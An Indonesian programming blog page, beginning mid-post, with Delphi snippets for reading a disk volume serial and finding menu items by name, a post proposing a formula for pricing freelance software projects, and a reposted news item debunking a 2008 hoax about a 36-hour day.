VolumeFlags, nil, 0);
Result := Format('Label = %s   VolSer = %8.8X',
[VolumeInfo, VolumeSerialNumber])
end;

Cara penggunaannya :

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(GetHardDiskSerial('c'));
end;




Mencari Item Nama (Caption or Tag) dalam TMenu.Items?

4 11 2008

sesuai dengan judulnya……

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ExtCtrls, StdCtrls, ComCtrls, Menus;

procedure BypassMenuItem(Func: Pointer; Source: TMenuItem);
function FindItemByName(aMenuItem: TMenuItem; Value: string): TMenuItem;

var
StringValue: string;
IntegerValue: Integer;…implementation

procedure BypassMenuItem(Func: Pointer; Source: TMenuItem);
var
I, J: Integer;
MenuSize: Integer;
Done: Boolean;

function ByPass(var I: Integer; aMenuItem: TMenuItem; AFunc: Pointer): Boolean;
var
Item: TMenuItem;
begin
if aMenuItem = nil then Exit;
Result := False;

while not Result and (I < aMenuItem.Count) do
begin
Item := aMenuItem[I];
asm
MOV     EAX,Item
MOV     EDX,[EBP+8]
PUSH    DWORD PTR [EDX]
CALL    DWORD PTR AFunc
ADD     ESP,4
MOV     Result,AL
end;
Inc(I);
end;
end;
begin
I        := 0;
J        := 0;
MenuSize := 0;
if Source <> nil then MenuSize := Source.Count;
Done := False;
while not Done and (I < MenuSize) do
begin
Done := Bypass(I, Source, Func);
while (I < MenuSize) do Inc(I);
end;
end;

function FindItemByName(aMenuItem: TMenuItem; ItemName: string): TMenuItem;

function Find(Item: TMenuItem): Boolean;
var
I: Integer;
begin
Result := False;
if (StringValue = Item.Name) then
begin
FoundItem := Item;
Result := True;
Exit;
end
else
for I := 0 to Item.Count – 1 do
if Find(Item[I]) then
begin
Result := True;
Exit;
end;
end;
begin
FoundItem   := nil;
StringValue := ItemName;

BypassMenuItem(@Find, aMenuItem);
Result := FoundItem;
end;





Menentukan Harga Proyek

4 11 2008

Dalam dunia IT (khususnya dunia sistem informasi) banyak sekali cara menentukan harga sebuah aplikasi yang diterapkan oleh perusahaan jasa aplikasi ataupun freelance programmer. Ada yang memberikan harga per-paket, ada yang berdasarkan jumlah form, ada yang menentukan flat-price, ada pula yang menetukan berdasarkan rate per-jam atau per-hari.
Bagaimana sebuah kerja skill dihargai? Sedemikian sulit-kah menentukan harga sebuah aplikasi? Argumen apakah yang bisa diberikan seorang programmer dalam menentukan harga sebuah aplikasi? Ini adalah masalah klasik dalam dunia sistem informasi, khususnya bagi para freelance programmer.

Perhitungan Harga Penawaran
Berdasarkan obrolan dengan sesama freelance programmer dan juga dari pengalaman, saya mencoba merumuskan bagaimana memberi harga pada sebuah hasil karya skill. Sebenarnya ini bukan rumus mutlak. Tapi paling tidak merupakan satu cara menentukan harga aplikasi yang kira2 mungkin bisa diterapkan dan “cukup fair” yaitu dengan memakai formula:

HP = HT – (d x HT)

dimana: HT = [ R x W ] + K + M

HP = Harga penawaran sebuah aplikasi atau project aplikasi
HT = Harga total pekerjaan aplikasi
R = Rate per-hari atau per-jam dari seorang programmer dimana 1 hari = 8 jam kerja
W = Estimasi waktu amanya pengerjaan aplikasi/proyek
K = Harga konsep aplikasi
M = Harga material aplikasi.
d = prosentase potongan harga (discount) yang diberikan

Mengapa saya bilang “cukup fair”? Ini disebabkan karena dengan formula ini seorang programmer dituntut untuk bisa memberikan estimasi yang masuk akal dan cukup objektif akan hal2 seperti: seberapa objektif seorang programmer menilai skill aplikasi dan pengalamannya, berapa lama sebuah pekerjaan bisa diselesaikan, berapa harga sebuah konsep aplikasi atau perlu/tidaknya memberikan potongan harga kepada klien, dsb. Juga dikatakan “cukup fair” karena dengan menerapkan perhitungan ini, kedua belah pihak (programmer dan klien) diharapkan bisa melihat sisi objektif dari sebuah pekerjaan aplikasi. Calon klien tidak merasa dibohongi dan di sisi lain programmer juga tidak merasa bekerja rodi. :D

Menentukan Variabel2 Formula.
1. Rate (R)
Rate adalah harga perhari atau perjam yang ditentukan pada kemampuan seorang programmer dalam mengerjakan pekerjaan2 aplikasi. Besarnya bergantung pada skill yang dikuasai, pemahaman konsep aplikasi, pengalaman, portfolio, kredibilitas klien yang pernah ditangani, dsb.

Singkatnya R bergantung pada pengalaman dan jam terbang seorang programmer. Sebagai contoh seorang programmer yang menguasai seabrek software aplikasi mulai dari Delphi sampai program .Net, memiliki pemahaman konsep aplikasi yang dibuktikan dengan portfolio yang ditunjukkan, pernah bekerja di perusahaan sistem informasi terkemuka, berpengalaman menangani klien2 “wah” seperti Nokia, BMW, dsb, bisa dikategorikan sebagai highly priced programmer dengan rate misalnya Rp. 2.000.000/hari. Sementara seorang lulusan sekolah IT yang baru memiliki 2-3 portfolio dari perusahaan2 kecil bisa dikategorikan sebagai pemula dengan rate sekitar Rp. 100.000/hari. Disini, seorang programmer dituntut untuk mampu mengestimasi “nilai jual” dirinya berdasarkan faktor2 tersebut.

R bisa dihitung perhari ataupun perjam. Mengapa? Beberapa programmer menentukan rate/hari dengan alasan kemudahan perhitungan. programmer lain menerapkan rate/jam dengan alasan agar lebih gampang menghitung waktu untuk revisi. Sebenarnya ini sama saja. Seperti disebutkan di atas, 1 hari = 8 jam. Sekarang kembali kepada sang programmer untuk menghitung lamanya pengerjaan sebuah proyek aplikasi dalam hitungan hari (agar lebih sederhana) atau dalam hitungan jam agar lebih detail.
Tetapi ada satu hal lain yang harus dipertimbangkan. Ada kalanya rate/jam sangat sulit diterima oleh klien di Indonesia. Di negara2 maju dimana pekerjaan aplikasi sudah dihargai dengan baik, rate/jam mungkin bisa diterapkan dan diterima oleh calon klien. Ini karena profesi programmer sudah dianggap sejajarkan dengan pekerjaan jasa profesional lain seperti pengacara, dokter, dsb. Akan tetapi bila kita berbicara dalam ruang lingkup lokal, berdasarkan pengalaman saya, rate/jam sangat sulit untuk diterima oleh umumnya klien di Indonesia. Tapi bila seorang programmer merasa confident untuk menerapkan rate/jam untuk klien di Indonesia, well.. why not? ;)

2. Estimasi Lamanya Pengerjaan (W)
Estimasi lamanya waktu pengerjaan adalah jumlah waktu yang dibutuhkan untuk menyelesaikan sebuah aplikasi/proyek aplikasi. Berkaitan dengan rate (R), waktu bisa dihitung dalam satuan hari ataupun jam. Sebagai gambaran, jumlah waktu pengerjaan 1 (satu) form tanpa konsep OOP (Obyek) tentu akan berbeda dengan jumlah waktu pengerjaan 1 (satu) form full OOP maupun ODMS.

Dalam menentukan jumlah hari ini programmer dituntut untuk reasonable dalam arti tidak mengada-ada dan masuk diakal. Sebagai contoh mengerjakan sebuah form simpel tentu tidak akan memakan waktu sampai 7 hari (56 jam), bukan? Bila programmer menetapkan variabel Rate (R) dalam satuan hari, variabel H tidak harus bulat, ia bisa bernilai 0.5 (setengah hari = 4 jam) hari atau 0.25 (seperempat hari = 2 jam).

3. Harga Konsep Aplikasi (K)
Yang agak rumit mungkin menentukan harga konsep aplikasi. Akan tetapi kita bisa mengira2 seberapa original dan brilyan-nya sebuah konsep aplikasi. Disinilah seorang programmer dituntut untuk bisa menguraikan konsep aplikasi yang ia tawarkan. Bukan hanya terbatas pada ide dan tampilan visual semata, tapi juga mencakup hal2 lain seperti ‘kredibilitas’, kestabilan aplikasi, sistem update dan backup database, bug report, pemilihan komponen, dsb.

Seorang teman programmer mengatakan bahwa ia juga menerapkan semacam perhitungan untuk menentukan harga K. Dalam kasus ini, harga K ditentukan dari berapa lama ia melakukan eksplorasi untuk mendapatkan ide dan menguraikannya menjadi sebuah konsep aplikasi dengan kata lain K=Rk x Wk (rate programmer dikalikan jumlah waktu eksplorasi). Rumit? Mungkin terlihat rumit, tapi sekali lagi, di negara2 maju (kebetulan teman saya tersebut pernah bekerja di luar negeri dan baru kembali ke Indonesia), ini merupakan hal yang wajar dan bisa diterima oleh klien.

4. Prosentase Potongan Harga (d)
Mungkin terkesan aneh bila diterapkan potongan harga untuk sebuah aplikasi/proyek aplikasi. Akan tetapi hal ini perlu dipertimbangkan bila seorang programmer menghadapi kasus dimana calon klien merupakan sebuah perusahaan besar dan menurut perkiraan memungkinkan terbentuknya long term relationship dan kontinuitas proyek. Dengan menerapkan discount, programmer bisa memberi alasan “proyek perkenalan” dimana sebagai awal long term relationship, sebuah aplikasi yang bagus diberi harga yang relatif murah. Bila memang tidak mau, programmer bisa memberi harga 0 (nol) untuk variabel ini.

5. Harga Material Aplikasi (M)
Harga material aplikasi adalah total harga pengadaan material untuk pekerjaan aplikasi yang mencakup harga Komputer server, perangkat external, pembelian lisensi additional software, fee copywriting. dan lain2
Sekarang mari kita lihat variabel mana yang nilainya bersifat fleksibel dan variabel mana yang bernilai tetap. Harga W yang pasti nilainya bersifat fleksibel karena bergantung dari skala proyek aplikasi yang dikerjakan. Harga M juga bersifat fleksibel karena bergantung dari harga pihak ketiga yang menyediakan material aplikasi (copywriter, komputer sever, perangkat external, dsb). Harga d juga bersifat fleksibel seperti telah diuraikan di atas.

Harga konsep (K) juga bersifat fleksibel. Masalahnya sekarang adalah cara menentukan harga tersebut. Seperti telah diuraikan di atas, ada beberapa programmer yang menetapkan nilai K dengan rumus K=Rk x Wk. Tapi ada juga programmer yang menetapkan nilai K tanpa menguraikannya seperti itu. K adalah sebuah nilai yang mencakup seluruh hal mulai dari eksplorasi, ide, konsep, dsb. Semata-mata karena pertimbangan kemudahan. Sebenarnya keduanya sama saja, itu hanyalah cara programmer untuk memberikan argumen yang tepat untuk harga sebuah kreativitas.

Bagaimana dengan variabel R?

Ada dua fenomena menarik. Beberapa programmer (dan juga agensi aplikasi) mematok harga R tetap dengan alasan bahwa harga tersebut adalah standar profesionalisme mereka. programmer dengan harga R tinggi harus bisa bekerja dalam waktu yang lebih singkat dibandingkan programmer dengan harga R yang lebih rendah untuk sebuah hasil yang kualitasnya sama. Artinya klien yang menyewa programmer dengan R tinggi akan diuntungkan dengan waktu pengerjaan (W) yang lebih singkat/cepat bila dibandingkan dengan mempekerjakan programmer dengan harga R yang lebih rendah.

Disisi lain ada programmer yang lebih fleksibel dengan harga R yaitu dengan menentukan nilai R sesuai dengan kredibilitas ataupun skala perusahaan klien. Sebagai ilustrasi, programmer seperti ini memberikan nilai R yang tinggi kepada sebuah perusahaan multi-nasional yang memiliki aset milyaran dan memberi rate yang lebih rendah kepada perusahaan kecil berbudget rendah, misalnya.

Contoh berikut mungkin bisa lebih memperjelas:
Seorang programmer level menengah memberikan rate perhari sebesar Rp. 700.000/hari sesuai dengan skill, portfolio, pemahaman konsep dan pengalamannya kepada firma-hukum mid-size untuk mengerjakan Sistem ERP. Struktur website tersebut adalah sebagai berikut:

Struktur tersebut akan diterapkan dalam halaman2 berbasis Client-Server dengan tambahan features backup, Checking Machine and Porchase or Request Order di frontpage-nya dan aplikasi send data via xml untuk update. Estimasi pengerjaannya adalah 10 hari. Tampilan user friendly, look and feel serta alur sistem aplikasi dari sebuah aplikasi yang akan dibuat sangat sesuai dengan corporate image dari firma-hukum tersebut yang dibuktikan dengan mock-up yang telah dibuat. Untuk itu si programmer memberikan harga Rp. 3.000.000. Entry data untuk aplikasi disediakan oleh client, sehingga harga material = 0 (nol). programmer tersebut memutuskan memberikan discount sebesar 10% dari harga total dengan pertimbangan akan terjalin long term relationship dimana firma hukum tersebut nantinya mungkin juga akan membuat aplikasi custommer service message, dsb.

Dalam kasus ini, harga penawaran adalah sebesar:

HT= (700.000 x 10) + 3.000.000 + 0= 10.000.000
HP= 10.000.000 – (10% x 10.000.000)= 9.000.000

Jadi, harga penawaran yang diajukan adalah sebesar Rp. 9.000.000. Bila ternyata calon klien melakukan bargaining, programmer bisa bertahan dengan memberikan argumen bahwa secara konsep, aplikasi tersebut sangat cocok dengan corporate image perusahaan atau effort yang dikeluarkan untuk pengerjaan proyek memang cukup besar.

Kemungkinan besar, calon klien akan bersikeras melakukan bargaining terhadap harga2 variabel2 tersebut. Disini, programmer bisa memperkecil harga penawaran dengan menurunkan harga rate per-hari menjadi Rp. 650.000 misalnya, sehingga manjadi:

HT= (650.000 x 10) + 3.000.000 + 0 = 9.500.000
HP= 9.500.000 – (10% x 9.500.000) = 8.550.000

atau memperbesar prosentase discount menjadi 15%:

HT= (700.000 x 10) + 3.000.000 + 0 = 10.000.000
HP= = 10.000.000 – (15% x 10.000.000) = 8.500.000

Dalam contoh tersebut bisa dilihat bahwa sang programmer melakukan bargaining dengan menerapkan harga R yang fleksibel dengan tidak mengurangi waktu pengerjaan (W) berdasarkan pertimbangan2 tertentu misalnya load pekerjaan yang tinggi, dsb. Sementara programmer yang menetapkan fix rate R bargaining mungkin bisa dilakukan dengan memberikan discount atau mengurangi waktu kerja (W)

Formula tersebut saya rasa cukup general dan bisa dipakai untuk menentukan harga pekerjaan aplikasi lainnya dan tidak terbatas hanya pekerjaan sistem aplikasi. Sebagai contoh misalnya adalah sistem informasi monitoring kegiatan dosen. Secara teknis pengerjaan poster tersebut mungkin bisa dikategorikan sebagai mudah dan dapat diselesaikan dalam 1 minggu saja. Akan tetapi dengan client sekelas Code Gear, programmer bisa menetapkan rate per-hari (R) yang cukup tinggi. Ditambah lagi dengan konsep aplikasi yang original dan brilyan yang dilengkapi dengan plugin “Everything That Has a Beginning Has an End” mungkin variabel K bisa dihargai jutaan dollar.

Formula tersebut saya rasa cukup general dan bisa dipakai untuk menentukan harga pekerjaan aplikasi lainnya dan tidak terbatas hanya pekerjaan sistem informasi. Sebagai contoh misalnya adalah sistem informasi monitoring kegiatan dosen di atas.

Secara teknis pengerjaan sistem informasi tersebut mungkin bisa dikategorikan sebagai mudah dan dapat diselesaikan dalam 1 minggu saja. Akan tetapi dengan client sekelas Code Gear, programmer bisa menetapkan rate per-hari (R) yang cukup tinggi. Ditambah lagi dengan konsep aplikasi yang original dan brilyan yang dilengkapi dengan plugin “Everything That Has a Beginning Has an End” mungkin variabel K bisa dihargai jutaan dollar.

Contoh diatas adalah dalam kasus programming atau design database dilakukan oleh satu orang programmer yang sama. Namun formula ini juga bisa diterapkan untuk pekerjaan dimana programming atau design database dilakukan oleh orang2 yang berbeda. Jadi bila sebuah sistem informasi misalnya menyangkut juga pembuatan basis-data, programming dan microsystem, harga penawaran adalah akumulasi dari harga yang diajukan tiap2 team member yang terlibat di dalam pekerjaan tersebut.

Formula di atas bukanlah sebuah hal mutlak. Mungkin ada beragam cara penentuan harga aplikasi yang lain. Ini hanyalah salah satu cara dan penerapannya juga kembali kepada programmer yang besangkutan. Satu hal yang pasti, formula ini juga tidak akan menjamin diperolehnya sebuah pekerjaan/proyek aplikasi? :) Harus dibedakan disini antara menentukan harga aplikasi dengan mendapatkan proyek aplikasi. Deal akan sebuah pekerjaan aplikasi bergantung dari banyak faktor lain seperti relasi, tipe client, budget, kualitas aplikasi, dsb. Tidak ada jaminan bahwa dengan menerapkan formula ini sebuah proyek aplikasi pasti akan diperoleh. Akan tetapi, minimal seorang programmer memiliki dasar untuk menentukan harga sebuah aplikasi dan tidak hanya bisa bergumam sambil berkeringat dingin bila sang klien mempertanyakan dasar penentuan harga aplikasi yang ia tawarkan. :)





Kabar Matahari Bersinar 36 Jam pada 17 Oktober Hoax

16 10 2008

Pada tanggal 17 Oktober 2008, matahari akan terus menyinari kita selama 36 jam (1.5 hari). Dan selama itu Amerika dan tetangga2nya akan gelap 1.5 hari.Ini akan mengkonversi 3 hari menjadi 2 hari besar.Ini terjadi setiap 2400 tahun sekali.Kita beruntung dapat menyaksikan dan merasakannya,beri tahu teman2 yah..

Matahari & bumi (Foto: NASA)

Jangan percaya! Kabar mengagetkan di atas hanyalah kabar bohong.

Pesan menyesatkan tersebut menyebar sejak Senin kemarin melalui pesan singkat dari telepon selular sampai media chatting di internet. Alangkah fenomenalnya jika peristiwa itu benar-benar terjadi.

“Saya juga dapat SMS dari teman saya itu kemarin. Nggak ada itu, itu hoax, sering terjadi,” ujar Ketua Jogja Astro Club Mutoha ketika dikonfirmasi detikcom, Selasa (14/10/2008).

Menurutnya, tidak masuk akal kalau daerah tropis mengalami hal semacam itu. Kalau daerah kutub, baik Kutub Selatan maupun Kutub Utara, fenomena seperti itu biasa terjadi.

“Kalau di belahan selatan dan belahan utara,  kegelapan tidak hanya 36 jam bahkan beberapa bulan. Artinya, peristiwa setiap tahun berulang. Kutub Selatan tidak mengalami penyinaran Matahari selama 4 sampai 5 bulan, termasuk bulan ini,” papar dia.

Karena tinggal di daerah tropis yang dekat dengan garis ekuator, lanjut dia, maka panjang siangnya sama dengan panjang malamnya.

“Bumi berotasi 24 jam, jadi logikanya kalau 36 jam itu sudah kiamat,” tegasnya.(nwk/nrl)